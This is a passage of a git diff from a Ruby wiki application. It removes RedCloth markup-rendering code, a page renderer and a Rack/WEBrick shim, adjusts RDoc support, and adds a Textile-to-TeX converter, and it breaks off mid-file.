-        text.replace( text.split( BLOCKS_GROUP_RE ).collect do |blk|
-            plain = blk !~ /\A[#*> ]/
-
-            # skip blocks that are complex HTML
-            if blk =~ /^<\/?(\w+).*>/ and not SIMPLE_HTML_TAGS.include? $1
-                blk
-            else
-                # search for indentation levels
-                blk.strip!
-                if blk.empty?
-                    blk
-                else
-                    code_blk = nil
-                    blk.gsub!( /((?:\n(?:\n^ +[^\n]*)+)+)/m ) do |iblk|
-                        flush_left iblk
-                        blocks iblk, plain
-                        iblk.gsub( /^(\S)/, "\t\\1" )
-                        if plain
-                            code_blk = iblk; ""
-                        else
-                            iblk
-                        end
-                    end
-
-                    block_applied = 0 
-                    @rules.each do |rule_name|
-                        block_applied += 1 if ( rule_name.to_s.match /^block_/ and method( rule_name ).call( blk ) )
-                    end
-                    if block_applied.zero?
-                        if deep_code
-                            blk = "\t<pre><code>#{ blk }</code></pre>"
-                        else
-                            blk = "\t<p>#{ blk }</p>"
-                        end
-                    end
-                    # hard_break blk
-                    blk + "\n#{ code_blk }"
-                end
-            end
-
-        end.join( "\n\n" ) )
-    end
-
-    def textile_bq( tag, atts, cite, content )
-        cite, cite_title = check_refs( cite )
-        cite = " cite=\"#{ cite }\"" if cite
-        atts = shelve( atts ) if atts
-        "\t<blockquote#{ cite }>\n\t\t<p#{ atts }>#{ content }</p>\n\t</blockquote>"
-    end
-
-    def textile_p( tag, atts, cite, content )
-        atts = shelve( atts ) if atts
-        "\t<#{ tag }#{ atts }>#{ content }</#{ tag }>"
-    end
-
-    alias textile_h1 textile_p
-    alias textile_h2 textile_p
-    alias textile_h3 textile_p
-    alias textile_h4 textile_p
-    alias textile_h5 textile_p
-    alias textile_h6 textile_p
-
-    def textile_fn_( tag, num, atts, cite, content )
-        atts << " id=\"fn#{ num }\""
-        content = "<sup>#{ num }</sup> #{ content }"
-        atts = shelve( atts ) if atts
-        "\t<p#{ atts }>#{ content }</p>"
-    end
-
-    BLOCK_RE = /^(([a-z]+)(\d*))(#{A}#{C})\.(?::(\S+))? (.*)$/m
-
-    def block_textile_prefix( text ) 
-        if text =~ BLOCK_RE
-            tag,tagpre,num,atts,cite,content = $~[1..6]
-            atts = pba( atts )
-
-            # pass to prefix handler
-            if respond_to? "textile_#{ tag }", true
-                text.gsub!( $&, method( "textile_#{ tag }" ).call( tag, atts, cite, content ) )
-            elsif respond_to? "textile_#{ tagpre }_", true
-                text.gsub!( $&, method( "textile_#{ tagpre }_" ).call( tagpre, num, atts, cite, content ) )
-            end
-        end
-    end
-    
-    SETEXT_RE = /\A(.+?)\n([=-])[=-]* *$/m
-    def block_markdown_setext( text )
-        if text =~ SETEXT_RE
-            tag = if $2 == "="; "h1"; else; "h2"; end
-            blk, cont = "<#{ tag }>#{ $1 }</#{ tag }>", $'
-            blocks cont
-            text.replace( blk + cont )
-        end
-    end
-
-    ATX_RE = /\A(\#{1,6})  # $1 = string of #'s
-              [ ]*
-              (.+?)       # $2 = Header text
-              [ ]*
-              \#*         # optional closing #'s (not counted)
-              $/x
-    def block_markdown_atx( text )
-        if text =~ ATX_RE
-            tag = "h#{ $1.length }"
-            blk, cont = "<#{ tag }>#{ $2 }</#{ tag }>\n\n", $'
-            blocks cont
-            text.replace( blk + cont )
-        end
-    end
-
-    MARKDOWN_BQ_RE = /\A(^ *> ?.+$(.+\n)*\n*)+/m
-
-    def block_markdown_bq( text )
-        text.gsub!( MARKDOWN_BQ_RE ) do |blk|
-            blk.gsub!( /^ *> ?/, '' )
-            flush_left blk
-            blocks blk
-            blk.gsub!( /^(\S)/, "\t\\1" )
-            "<blockquote>\n#{ blk }\n</blockquote>\n\n"
-        end
-    end
-
-    MARKDOWN_RULE_RE = /^#{
-        ['*', '-', '_'].collect { |ch| '( ?' + Regexp::quote( ch ) + ' ?){3,}' }.join( '|' )
-    }$/
-
-    def block_markdown_rule( text )
-        text.gsub!( MARKDOWN_RULE_RE ) do |blk|
-            "<hr />"
-        end
-    end
-
-    # XXX TODO XXX
-    def block_markdown_lists( text )
-    end
-
-    def inline_markdown_link( text )
-    end
-
-    def inline_textile_span( text ) 
-        QTAGS.each do |qtag_rc, ht, qtag_re, rtype|
-            text.gsub!( qtag_re ) do |m|
-             
-                case rtype
-                when :limit
-                    sta,qtag,atts,cite,content = $~[1..5]
-                else
-                    qtag,atts,cite,content = $~[1..4]
-                    sta = ''
-                end
-                atts = pba( atts )
-                atts << " cite=\"#{ cite }\"" if cite
-                atts = shelve( atts ) if atts
-
-                "#{ sta }<#{ ht }#{ atts }>#{ content }</#{ ht }>"
-
-            end
-        end
-    end
-
-    LINK_RE = /
-            ([\s\[{(]|[#{PUNCT}])?     # $pre
-            "                          # start
-            (#{C})                     # $atts
-            ([^"]+?)                   # $text
-            \s?
-            (?:\(([^)]+?)\)(?="))?     # $title
-            ":
-            (\S+?)                     # $url
-            (\/)?                      # $slash
-            ([^\w\/;]*?)               # $post
-            (?=<|\s|$)
-        /x 
-
-    def inline_textile_link( text ) 
-        text.gsub!( LINK_RE ) do |m|
-            pre,atts,text,title,url,slash,post = $~[1..7]
-
-            url, url_title = check_refs( url )
-            title ||= url_title
-            
-            atts = pba( atts )
-            atts = " href=\"#{ url }#{ slash }\"#{ atts }"
-            atts << " title=\"#{ title }\"" if title
-            atts = shelve( atts ) if atts
-            
-            "#{ pre }<a#{ atts }>#{ text }</a>#{ post }"
-        end
-    end
-
-    MARKDOWN_REFLINK_RE = /
-            \[([^\[\]]+)\]      # $text
-            [ ]?                # opt. space
-            (?:\n[ ]*)?         # one optional newline followed by spaces
-            \[(.*?)\]           # $id
-        /x 
-
-    def inline_markdown_reflink( text ) 
-        text.gsub!( MARKDOWN_REFLINK_RE ) do |m|
-            text, id = $~[1..2]
-
-            if id.empty?
-                url, title = check_refs( text )
-            else
-                url, title = check_refs( id )
-            end
-            
-            atts = " href=\"#{ url }\""
-            atts << " title=\"#{ title }\"" if title
-            atts = shelve( atts )
-            
-            "<a#{ atts }>#{ text }</a>"
-        end
-    end
-
-    MARKDOWN_LINK_RE = /
-            \[([^\[\]]+)\]      # $text
-            \(                  # open paren
-            [ \t]*              # opt space
-            <?(.+?)>?           # $href
-            [ \t]*              # opt space
-            (?:                 # whole title
-            (['"])              # $quote
-            (.*?)               # $title
-            \3                  # matching quote
-            )?                  # title is optional
-            \)
-        /x 
-
-    def inline_markdown_link( text ) 
-        text.gsub!( MARKDOWN_LINK_RE ) do |m|
-            text, url, quote, title = $~[1..4]
-
-            atts = " href=\"#{ url }\""
-            atts << " title=\"#{ title }\"" if title
-            atts = shelve( atts )
-            
-            "<a#{ atts }>#{ text }</a>"
-        end
-    end
-
-    TEXTILE_REFS_RE =  /(^ *)\[([^\n]+?)\](#{HYPERLINK})(?=\s|$)/
-    MARKDOWN_REFS_RE = /(^ *)\[([^\n]+?)\]:\s+<?(#{HYPERLINK})>?(?:\s+"((?:[^"]|\\")+)")?(?=\s|$)/m
-
-    def refs( text )
-        @rules.each do |rule_name|
-            method( rule_name ).call( text ) if rule_name.to_s.match /^refs_/
-        end
-    end
-
-    def refs_textile( text ) 
-        text.gsub!( TEXTILE_REFS_RE ) do |m|
-            flag, url = $~[2..3]
-            @urlrefs[flag.downcase] = [url, nil]
-            nil
-        end
-    end
-    
-    def refs_markdown( text )
-        text.gsub!( MARKDOWN_REFS_RE ) do |m|
-            flag, url = $~[2..3]
-            title = $~[6]
-            @urlrefs[flag.downcase] = [url, title]
-            nil
-        end
-    end
-
-    def check_refs( text ) 
-        ret = @urlrefs[text.downcase] if text
-        ret || [text, nil]
-    end
-
-    IMAGE_RE = /
-            (<p>|.|^)            # start of line?
-            \!                   # opening
-            (\<|\=|\>)?          # optional alignment atts
-            (#{C})               # optional style,class atts
-            (?:\. )?             # optional dot-space
-            ([^\s(!]+?)          # presume this is the src
-            \s?                  # optional space
-            (?:\(((?:[^\(\)]|\([^\)]+\))+?)\))?   # optional title
-            \!                   # closing
-            (?::#{ HYPERLINK })? # optional href
-        /x 
-
-    def inline_textile_image( text ) 
-        text.gsub!( IMAGE_RE )  do |m|
-            stln,algn,atts,url,title,href,href_a1,href_a2 = $~[1..8]
-            atts = pba( atts )
-            atts = " src=\"#{ url }\"#{ atts }"
-            atts << " title=\"#{ title }\"" if title
-            atts << " alt=\"#{ title }\"" 
-            # size = @getimagesize($url);
-            # if($size) $atts.= " $size[3]";
-
-            href, alt_title = check_refs( href ) if href
-            url, url_title = check_refs( url )
-
-            out = ''
-            out << "<a#{ shelve( " href=\"#{ href }\"" ) }>" if href
-            out << "<img#{ shelve( atts ) } />"
-            out << "</a>#{ href_a1 }#{ href_a2 }" if href
-            
-            if algn 
-                algn = h_align( algn )
-                if stln == "<p>"
-                    out = "<p style=\"float:#{ algn }\">#{ out }"
-                else
-                    out = "#{ stln }<div style=\"float:#{ algn }\">#{ out }</div>"
-                end
-            else
-                out = stln + out
-            end
-
-            out
-        end
-    end
-
-    def shelve( val ) 
-        @shelf << val
-        " <#{ @shelf.length }>"
-    end
-    
-    def retrieve( text ) 
-        @shelf.each_with_index do |r, i|
-            text.gsub!( " <#{ i + 1 }>", r )
-        end
-    end
-
-    def incoming_entities( text ) 
-        ## turn any incoming ampersands into a dummy character for now.
-        ## This uses a negative lookahead for alphanumerics followed by a semicolon,
-        ## implying an incoming html entity, to be skipped
-
-        text.gsub!( /&(?![#a-z0-9]+;)/i, "x%x%" )
-    end
-
-    def no_textile( text ) 
-        text.gsub!( /(^|\s)==([^=]+.*?)==(\s|$)?/,
-            '\1<notextile>\2</notextile>\3' )
-        text.gsub!( /^ *==([^=]+.*?)==/m,
-            '\1<notextile>\2</notextile>\3' )
-    end
-
-    def clean_white_space( text ) 
-        # normalize line breaks
-        text.gsub!( /\r\n/, "\n" )
-        text.gsub!( /\r/, "\n" )
-        text.gsub!( /\t/, '    ' )
-        text.gsub!( /^ +$/, '' )
-        text.gsub!( /\n{3,}/, "\n\n" )
-        text.gsub!( /"$/, "\" " )
-
-        # if entire document is indented, flush
-        # to the left side
-        flush_left text
-    end
-
-    def flush_left( text )
-        indt = 0
-        if text =~ /^ /
-            while text !~ /^ {#{indt}}\S/
-                indt += 1
-            end unless text.empty?
-            if indt.nonzero?
-                text.gsub!( /^ {#{indt}}/, '' )
-            end
-        end
-    end
-
-    def footnote_ref( text ) 
-        text.gsub!( /\b\[([0-9]+?)\](\s)?/,
-            '<sup><a href="#fn\1">\1</a></sup>\2' )
-    end
-    
-    OFFTAGS = /(code|pre|kbd|notextile)/
-    OFFTAG_MATCH = /(?:(<\/#{ OFFTAGS }>)|(<#{ OFFTAGS }[^>]*>))(.*?)(?=<\/?#{ OFFTAGS }|\Z)/mi
-    OFFTAG_OPEN = /<#{ OFFTAGS }/
-    OFFTAG_CLOSE = /<\/?#{ OFFTAGS }/
-    HASTAG_MATCH = /(<\/?\w[^\n]*?>)/m
-    ALLTAG_MATCH = /(<\/?\w[^\n]*?>)|.*?(?=<\/?\w[^\n]*?>|$)/m
-
-    def inline_textile_glyphs( text, level = 0 )
-        if text !~ HASTAG_MATCH
-            pgl text
-            footnote_ref text
-        else
-            codepre = 0
-            text.gsub!( ALLTAG_MATCH ) do |line|
-                ## matches are off if we're between <code>, <pre> etc.
-                if $1
-                    if line =~ OFFTAG_OPEN
-                        codepre += 1
-                    elsif line =~ OFFTAG_CLOSE
-                        codepre -= 1
-                        codepre = 0 if codepre < 0
-                    end 
-                elsif codepre.zero?
-                    inline_textile_glyphs( line, level + 1 )
-                else
-                    htmlesc( line, :NoQuotes )
-                end
-                ## p [level, codepre, orig_line, line]
-
-                line
-            end
-        end
-    end
-
-    def rip_offtags( text )
-        if text =~ /<.*>/
-            ## strip and encode <pre> content
-            codepre, used_offtags = 0, {}
-            text.gsub!( OFFTAG_MATCH ) do |line|
-                if $3
-                    offtag, aftertag = $4, $5
-                    codepre += 1
-                    used_offtags[offtag] = true
-                    if codepre - used_offtags.length > 0
-                        htmlesc( line, :NoQuotes ) unless used_offtags['notextile']
-                        @pre_list.last << line
-                        line = ""
-                    else
-                        htmlesc( aftertag, :NoQuotes ) if aftertag and not used_offtags['notextile']
-                        line = "<redpre##{ @pre_list.length }>"
-                        @pre_list << "#{ $3 }#{ aftertag }"
-                    end
-                elsif $1 and codepre > 0
-                    if codepre - used_offtags.length > 0
-                        htmlesc( line, :NoQuotes ) unless used_offtags['notextile']
-                        @pre_list.last << line
-                        line = ""
-                    end
-                    codepre -= 1 unless codepre.zero?
-                    used_offtags = {} if codepre.zero?
-                end 
-                line
-            end
-        end
-        text
-    end
-
-    def smooth_offtags( text )
-        unless @pre_list.empty?
-            ## replace <pre> content
-            text.gsub!( /<redpre#(\d+)>/ ) { @pre_list[$1.to_i] }
-        end
-    end
-
-    def inline( text ) 
-        @rules.each do |rule_name|
-            method( rule_name ).call( text ) if rule_name.to_s.match /^inline_/
-        end
-    end
-
-    def h_align( text ) 
-        H_ALGN_VALS[text]
-    end
-
-    def v_align( text ) 
-        V_ALGN_VALS[text]
-    end
-
-    def textile_popup_help( name, windowW, windowH )
-        ' <a target="_blank" href="http://hobix.com/textile/#' + helpvar + '" onclick="window.open(this.href, \'popupwindow\', \'width=' + windowW + ',height=' + windowH + ',scrollbars,resizable\'); return false;">' + name + '</a><br />'
-    end
-
-    # HTML cleansing stuff
-    BASIC_TAGS = {
-        'a' => ['href', 'title'],
-        'img' => ['src', 'alt', 'title'],
-        'br' => [],
-        'i' => nil,
-        'u' => nil, 
-        'b' => nil,
-        'pre' => nil,
-        'kbd' => nil,
-        'code' => ['lang'],
-        'cite' => nil,
-        'strong' => nil,
-        'em' => nil,
-        'ins' => nil,
-        'sup' => nil,
-        'sub' => nil,
-        'del' => nil,
-        'table' => nil,
-        'tr' => nil,
-        'td' => ['colspan', 'rowspan'],
-        'th' => nil,
-        'ol' => nil,
-        'ul' => nil,
-        'li' => nil,
-        'p' => nil,
-        'h1' => nil,
-        'h2' => nil,
-        'h3' => nil,
-        'h4' => nil,
-        'h5' => nil,
-        'h6' => nil, 
-        'blockquote' => ['cite']
-    }
-
-    def clean_html( text, tags = BASIC_TAGS )
-        text.gsub!( /<!\[CDATA\[/, '' )
-        text.gsub!( /<(\/*)(\w+)([^>]*)>/ ) do
-            raw = $~
-            tag = raw[2].downcase
-            if tags.has_key? tag
-                pcs = [tag]
-                tags[tag].each do |prop|
-                    ['"', "'", ''].each do |q|
-                        q2 = ( q != '' ? q : '\s' )
-                        if raw[3] =~ /#{prop}\s*=\s*#{q}([^#{q2}]+)#{q}/i
-                            attrv = $1
-                            next if prop == 'src' and attrv !~ /^http/
-                            pcs << "#{prop}=\"#{$1.gsub('"', '\\"')}\""
-                            break
-                        end
-                    end
-                end if tags[tag]
-                "<#{raw[1]}#{pcs.join " "}>"
-            else
-                " "
-            end
-        end
-    end
-end
-
diff --git a/lib/page_renderer.rb b/lib/page_renderer.rb
deleted file mode 100644
index 0305777a..00000000
--- a/lib/page_renderer.rb
+++ /dev/null
@@ -1,193 +0,0 @@
-require 'xhtmldiff'
-
-# Temporary class containing all rendering stuff from a Revision 
-# I want to shift all rendering loguc to the controller eventually
-
-class PageRenderer
-
-  def self.setup_url_generator(url_generator)
-    @@url_generator = url_generator
-  end
-
-  def self.teardown_url_generator
-    @@url_generator = nil
-  end
-
-  attr_reader :revision
-
-  def initialize(revision = nil)
-    self.revision = revision
-  end
-
-  def revision=(r)
-    @revision = r
-    @display_content = @display_published = @wiki_words_cache = @wiki_includes_cache = 
-        @wiki_references_cache = nil
-  end
-
-  def display_content(update_references = false)
-    @display_content ||= render(:update_references => update_references)
-  end
-
-  def display_content_for_export
-    render :mode => :export
-  end
-
-  def display_published
-    @display_published ||= render(:mode => :publish)
-  end
-
-  def display_diff
-    previous_revision = @revision.page.previous_revision(@revision)
-    if previous_revision
-
-      previous_content = "<div>" + WikiContent.new(previous_revision, @@url_generator).render!.to_s + "</div>"
-      current_content = "<div>" + display_content.to_s  + "</div>"
-      diff_doc = REXML::Document.new
-      div = REXML::Element.new('div', nil, {:respect_whitespace =>:all})
-      div.attributes['class'] = 'xhtmldiff_wrapper'
-      diff_doc << div
-      hd = XHTMLDiff.new(div)
-
-      parsed_previous_revision = REXML::HashableElementDelegator.new(
-           REXML::XPath.first(REXML::Document.new(previous_content), '/div'))
-      parsed_display_content = REXML::HashableElementDelegator.new(
-           REXML::XPath.first(REXML::Document.new(current_content), '/div'))
-      Diff::LCS.traverse_balanced(parsed_previous_revision, parsed_display_content, hd)
-
-      diffs = ''
-      diff_doc.write(diffs, -1, true, true)
-      diffs.gsub(/\A<div class='xhtmldiff_wrapper'>(.*)<\/div>\Z/m, '\1').html_safe
-    else
-      display_content
-    end
-  end
-
-  attr :s5_theme
-  def s5_theme=(s)
-    @s5_theme = s
-  end
-
-  # Renders an S5 slideshow
-  def display_s5
-    @display_s5 ||= render(:mode => :s5,
-                           :engine_opts => {:author => @author, :title => @plain_name},
-                           :renderer => self)
-  end
-
-  # Returns an array of all the WikiIncludes present in the content of this revision.
-  def wiki_includes
-    unless @wiki_includes_cache 
-      chunks = display_content.find_chunks(Include)
-      @wiki_includes_cache = chunks.map { |c| ( c.escaped? ? nil : c.page_name ) }.compact.uniq
-    end
-    @wiki_includes_cache
-  end
-
-  # Returns an array of all the WikiReferences present in the content of this revision.
-  def wiki_references
-    unless @wiki_references_cache 
-      chunks = display_content.find_chunks(WikiChunk::WikiReference)
-      @wiki_references_cache = chunks.map { |c| ( c.escaped? ? nil : c.page_name ) }.compact.uniq
-    end
-    @wiki_references_cache
-  end
-
-  # Returns an array of all the WikiWords present in the content of this revision.
-  def wiki_words
-    @wiki_words_cache ||= find_wiki_words(display_content) 
-  end
-  
-  def find_wiki_words(rendering_result)
-    the_wiki_words = wiki_links(rendering_result)
-    # Exclude backslash-escaped wiki words, such as \WikiWord, as well as links to files 
-    # and pictures, such as [[foo.txt:file]] or [[foo.jpg:pic]]
-    the_wiki_words.delete_if { |link| link.escaped? or [:pic, :file, :audio, :video, :delete].include?(link.link_type) }
-    # convert to the list of unique page names
-    the_wiki_words.map { |link| ( link.page_name ) }.uniq
-  end
-
-  # Returns an array of all the WikiWords present in the content of this revision.
-  def wiki_files
-    @wiki_files_cache ||= find_wiki_files(display_content) 
-  end
-    
-  def find_wiki_files(rendering_result)
-     the_wiki_files = wiki_links(rendering_result)
-     the_wiki_files.delete_if { |link| ![:pic, :file, :audio, :video].include?(link.link_type) }
-     the_wiki_files.map { |link| ( link.page_name ) }.uniq
-  end
-  
-  def wiki_links(rendering_result)
-     rendering_result.find_chunks(WikiChunk::WikiLink)
-  end
-
-  # Returns an array of all the WikiWords present in the content of this revision.
-  # that already exists as a page in the web.
-  def existing_pages
-    wiki_words.select { |wiki_word| @revision.page.web.page(wiki_word) }
-  end
-
-  # Returns an array of all the WikiWords present in the content of this revision
-  # that *doesn't* already exists as a page in the web.
-  def unexisting_pages
-    wiki_words - existing_pages
-  end  
-
-  private
-  
-  def render(options = {})
-    rendering_result = WikiContent.new(@revision, @@url_generator, options).render!
-    update_references(rendering_result) if options[:update_references]
-    rendering_result
-  end
-  
-  def update_references(rendering_result)
-    WikiReference.delete_all ['page_id = ?', @revision.page_id]
-
-    references = @revision.page.wiki_references
-
-    wiki_words = find_wiki_words(rendering_result)
-    # TODO it may be desirable to save links to files and pictures as WikiReference objects
-    # present version doesn't do it
-    
-    wiki_words.each do |referenced_name|
-      # Links to self are always considered linked
-      if referenced_name == @revision.page.name
-        link_type = WikiReference::LINKED_PAGE
-      else
-        link_type = WikiReference.link_type(@revision.page.web, referenced_name)
-      end
-      references.build :referenced_name => referenced_name, :link_type => link_type
-    end
-    
-    wiki_files = find_wiki_files(rendering_result)
-    wiki_files.each do |referenced_name|
-      references.build :referenced_name => referenced_name, :link_type => WikiReference::FILE
-    end
-    
-    include_chunks = rendering_result.find_chunks(Include)
-    includes = include_chunks.map { |c| ( c.escaped? ? nil : c.page_name ) }.compact.uniq
-    includes.each do |included_page_name|
-      references.build :referenced_name => included_page_name, 
-          :link_type => WikiReference::INCLUDED_PAGE
-    end
-    
-    redirect_chunks = rendering_result.find_chunks(Redirect)
-    redirects = redirect_chunks.map { |c| ( c.escaped? ? nil : c.page_name ) }.compact.uniq
-    redirects.each do |redirected_page_name|
-      references.build :referenced_name => redirected_page_name, 
-          :link_type => WikiReference::REDIRECTED_PAGE
-    end
-    
-    # ugly hack: store these in a thread-local variable, so that the cache-sweeper has access to it.
-    Thread.current[:page_redirects] ?
-      Thread.current[:page_redirects].update({ @revision.page => redirects}) :
-      Thread.current[:page_redirects] = { @revision.page => redirects}
-    
-    categories = rendering_result.find_chunks(Category).map { |cat| cat.list }.flatten
-    categories.each do |category|
-      references.build :referenced_name => category, :link_type => WikiReference::CATEGORY
-    end
-  end
-end
diff --git a/lib/rack_stuff.rb b/lib/rack_stuff.rb
deleted file mode 100644
index 051417e8..00000000
--- a/lib/rack_stuff.rb
+++ /dev/null
@@ -1,65 +0,0 @@
-require 'webrick'
-require 'stringio'
-require 'rack/content_length'
-require 'tempfile'
-
-module Rack
-  module Handler
-    class WEBrick < ::WEBrick::HTTPServlet::AbstractServlet
-      def self.run(app, options={})
-        options[:BindAddress] = options.delete(:Host) if options[:Host]
-        @server = ::WEBrick::HTTPServer.new(options)
-        @server.mount "/", Rack::Handler::WEBrick, app
-        trap(:INT) { @server.shutdown }
-        trap(:TERM) { @server.shutdown }
-        yield @server  if block_given?
-        @server.start
-      end
-    end
-  end
-
- if Rack.release  <= "1.2"
-  # The Tempfile bug is fixed in the bundled version of Rack
-  class RewindableInput
-    def make_rewindable
-      # Buffer all data into a tempfile. Since this tempfile is private to this
-      # RewindableInput object, we chmod it so that nobody else can read or write
-      # it. On POSIX filesystems we also unlink the file so that it doesn't
-      # even have a file entry on the filesystem anymore, though we can still
-      # access it because we have the file handle open.
-      @rewindable_io = Tempfile.new('RackRewindableInput')
-      @rewindable_io.chmod(0000)
-      @rewindable_io.set_encoding(Encoding::BINARY) if @rewindable_io.respond_to?(:set_encoding)
-      @rewindable_io.binmode
-      if filesystem_has_posix_semantics? && !tempfile_unlink_contains_bug?
-        @rewindable_io.unlink
-        @unlinked = true
-      end
-      
-      buffer = ""
-      while @io.read(1024 * 4, buffer)
-        entire_buffer_written_out = false
-        while !entire_buffer_written_out
-          written = @rewindable_io.write(buffer)
-          entire_buffer_written_out = written == Rack::Utils.bytesize(buffer)
-          if !entire_buffer_written_out
-            buffer.slice!(0 .. written - 1)
-          end
-        end
-      end
-      @rewindable_io.rewind
-    end
-
-    def tempfile_unlink_contains_bug?
-      # The tempfile library as included in Ruby 1.9.1-p152 and later
-      # contains a bug: unlinking an open Tempfile object also closes
-      # it, which breaks our expected POSIX semantics. This problem
-      # has been fixed in Ruby 1.9.2, but the Ruby team chose not to
-      # include the bug fix in later versions of the 1.9.1 series.
-      ruby_engine = defined?(RUBY_ENGINE) ? RUBY_ENGINE : "ruby"
-      ruby_engine == "ruby" && RUBY_VERSION == "1.9.1" && RUBY_PATCHLEVEL >= 152
-    end
-  end
- end
- 
-end
\ No newline at end of file
diff --git a/lib/rdocsupport.rb b/lib/rdocsupport.rb
index 5f53c2bf..0aaf842f 100644
--- a/lib/rdocsupport.rb
+++ b/lib/rdocsupport.rb
@@ -2,15 +2,9 @@ begin
   require "rdoc/markup/simple_markup"
   require 'rdoc/markup/simple_markup/to_html'
 rescue LoadError
-  # Ruby 1.9
-  require "rdoc/markup"
-  require 'rdoc/markup/to_html'
-  module SM
-    class SimpleMarkup < RDoc::Markup
-    end
-    class ToHtml <RDoc::Markup::ToHtml
-    end
-  end
+  # use old version if available
+  require 'markup/simple_markup'
+  require 'markup/simple_markup/to_html'
 end
 
 module RDocSupport
@@ -39,7 +33,7 @@ class RDocMarkup < SM::SimpleMarkup
   end
 
   def convert(text, handler)
-    super.sub(/^\n{0,1}<p>\n{0,1}/, '').sub(/\n{0,1}<\/p>\n{0,1}$/, '')
+    super.sub(/^<p>\n/, '').sub(/<\/p>$/, '')
   end
 end
 
@@ -155,4 +149,4 @@ class RDocFormatter
   end
 end
 
-end
+end
\ No newline at end of file
diff --git a/lib/redcloth_for_tex.rb b/lib/redcloth_for_tex.rb
new file mode 100644
index 00000000..6bfb6a0f
--- /dev/null
+++ b/lib/redcloth_for_tex.rb
@@ -0,0 +1,736 @@
+# This is RedCloth (http://www.whytheluckystiff.net/ruby/redcloth/) 
+# converted by David Heinemeier Hansson to emit Tex
+
+class String
+  # Flexible HTML escaping
+  def texesc!( mode )
+    gsub!( '&', '\\\\&' )
+    gsub!( '%', '\%' )
+    gsub!( '$', '\$' )
+    gsub!( '~', '$\sim$' )
+  end
+end
+
+
+def table_of_contents(text, pages)
+  text.gsub( /^([#*]+? .*?)$(?![^#*])/m ) do |match|
+    lines = match.split( /\n/ )
+    last_line = -1
+    depth = []
+    lines.each_with_index do |line, line_id|
+      if line =~ /^([#*]+) (.*)$/m
+        tl,content = $~[1..2]
+        content.gsub! /[\[\]]/, ""
+        content.strip!
+        
+        if depth.last
+          if depth.last.length > tl.length
+           (depth.length - 1).downto(0) do |i|
+              break if depth[i].length == tl.length
+              lines[line_id - 1] << "" # "\n\t\\end{#{ lT( depth[i] ) }}\n\t"
+              depth.pop
+            end
+          end
+          if !depth.last.nil? && !tl.length.nil? && depth.last.length == tl.length
+            lines[line_id - 1] << ''
+          end
+        end
+        
+        depth << tl unless depth.last == tl
+        
+        subsection_depth = [depth.length - 1, 2].min
+        
+        lines[line_id] = "\n\\#{ "sub" * subsection_depth }section{#{ content }}"
+        lines[line_id] += "\n#{pages[content]}" if pages.keys.include?(content)
+        
+        lines[line_id] = "\\pagebreak\n#{lines[line_id]}" if subsection_depth == 0
+        
+        last_line = line_id
+        
+      elsif line =~ /^\s+\S/
+        last_line = line_id
+      elsif line_id - last_line < 2 and line =~ /^\S/
+        last_line = line_id
+      end
+      if line_id - last_line > 1 or line_id == lines.length - 1
+        depth.delete_if do |v|
+          lines[last_line] << "" # "\n\t\\end{#{ lT( v ) }}"
+        end
+      end
+    end
+    lines.join( "\n" )
+  end
+end
+
+class RedClothForTex < String
+  
+  VERSION = '2.0.7'
+  
+  #
+  # Mapping of 8-bit ASCII codes to HTML numerical entity equivalents.
+  # (from PyTextile)
+  #
+  TEXTILE_TAGS = 
+  
+  [[128, 8364], [129, 0], [130, 8218], [131, 402], [132, 8222], [133, 8230], 
+  [134, 8224], [135, 8225], [136, 710], [137, 8240], [138, 352], [139, 8249], 
+  [140, 338], [141, 0], [142, 0], [143, 0], [144, 0], [145, 8216], [146, 8217], 
+  [147, 8220], [148, 8221], [149, 8226], [150, 8211], [151, 8212], [152, 732], 
+  [153, 8482], [154, 353], [155, 8250], [156, 339], [157, 0], [158, 0], [159, 376]].
+  
+  collect! do |a, b|
+    [a.chr, ( b.zero? and "" or "&#{ b };" )]
+  end
+  
+  #
+  # Regular expressions to convert to HTML.
+  #
+  A_HLGN = /(?:(?:<>|<|>|\=|[()]+)+)/
+  A_VLGN = /[\-^~]/
+  C_CLAS = '(?:\([^)]+\))'
+  C_LNGE = '(?:\[[^\]]+\])'
+  C_STYL = '(?:\{[^}]+\})'
+  S_CSPN = '(?:\\\\\d+)'
+  S_RSPN = '(?:/\d+)'
+  A = "(?:#{A_HLGN}?#{A_VLGN}?|#{A_VLGN}?#{A_HLGN}?)"
+  S = "(?:#{S_CSPN}?#{S_RSPN}|#{S_RSPN}?#{S_CSPN}?)"
+  C = "(?:#{C_CLAS}?#{C_STYL}?#{C_LNGE}?|#{C_STYL}?#{C_LNGE}?#{C_CLAS}?|#{C_LNGE}?#{C_STYL}?#{C_CLAS}?)"
+  # PUNCT = Regexp::quote( '!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~' )
+  PUNCT = Regexp::quote( '!"#$%&\'*+,-./:;=?@\\^_`|~' )
+  HYPERLINK = '(\S+?)([^\w\s/;=\?]*?)(\s|$)'
+  
+  GLYPHS = [
+  #   [ /([^\s\[{(>])?\'([dmst]\b|ll\b|ve\b|\s|:|$)/, '\1&#8217;\2' ], # single closing
+  [ /([^\s\[{(>])\'/, '\1&#8217;' ], # single closing
+  [ /\'(?=\s|s\b|[#{PUNCT}])/, '&#8217;' ], # single closing
+  [ /\'/, '&#8216;' ], # single opening
+  #   [ /([^\s\[{(])?"(\s|:|$)/, '\1&#8221;\2' ], # double closing
+  [ /([^\s\[{(>])"/, '\1&#8221;' ], # double closing
+  [ /"(?=\s|[#{PUNCT}])/, '&#8221;' ], # double closing
+  [ /"/, '&#8220;' ], # double opening
+  [ /\b( )?\.{3}/, '\1&#8230;' ], # ellipsis
+  [ /\b([A-Z][A-Z0-9]{2,})\b(?:[(]([^)]*)[)])/, '<acronym title="\2">\1</acronym>' ], # 3+ uppercase acronym
+  [ /(^|[^"][>\s])([A-Z][A-Z0-9 ]{2,})([^<a-z0-9]|$)/, '\1<span class="caps">\2</span>\3' ], # 3+ uppercase caps
+  [ /(\.\s)?\s?--\s?/, '\1&#8212;' ], # em dash
+  [ /\s->\s/, ' &rarr; ' ], # en dash
+  [ /\s-\s/, ' &#8211; ' ], # en dash
+  [ /(\d+) ?x ?(\d+)/, '\1&#215;\2' ], # dimension sign
+  [ /\b ?[(\[]TM[\])]/i, '&#8482;' ], # trademark
+  [ /\b ?[(\[]R[\])]/i, '&#174;' ], # registered
+  [ /\b ?[(\[]C[\])]/i, '&#169;' ] # copyright
+  ]
+  
+  I_ALGN_VALS = {
+        '<' => 'left',
+        '=' => 'center',
+        '>' => 'right'
+  }
+  
+  H_ALGN_VALS = {
+        '<' => 'left',
+        '=' => 'center',
+        '>' => 'right',
+        '<>' => 'justify'
+  }
+  
+  V_ALGN_VALS = {
